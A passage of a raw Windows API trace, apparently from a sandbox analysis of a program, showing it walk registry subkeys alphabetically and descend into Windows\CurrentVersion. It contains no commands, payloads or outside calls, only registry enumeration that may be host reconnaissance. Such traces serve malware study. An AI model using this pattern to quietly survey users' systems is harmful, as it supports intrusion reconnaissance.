WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x21ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x21eb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x21ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x21eb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x21eb930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x21ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x21eb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x21ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x21eb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x21ec0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x21eb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x21ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x21eb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x21ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x21eb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x21eb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x21ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x21eb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x21ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x21eb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x21ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x21eb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x21eb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x21ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x21eb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x21ec120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0038.882] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x21eb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x21ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x21eb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x21ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x21eb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x21ec0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x21eb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x21ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x21eb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x21ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x21eb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x21eb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x21ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x21eb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0038.883] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x21eb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x21ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x21eb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x21ec120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x21eb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x21ec0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x21eb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x21eb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x21ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x21eb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x21eb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x21ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x21eb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x21ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0038.884] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x21eb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x21ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0038.885] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x21eb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x21ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0038.885] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x21eb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0038.885] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x21eb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0038.885] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0038.885] RegCloseKey (hKey=0x38) returned 0x0 [0038.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x21eb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x21ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0038.885] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0038.885] RegCloseKey (hKey=0xc4) returned 0x0 [0038.885] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x21eb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x21ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0038.885] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x21eb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0038.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x21ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x21eb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, 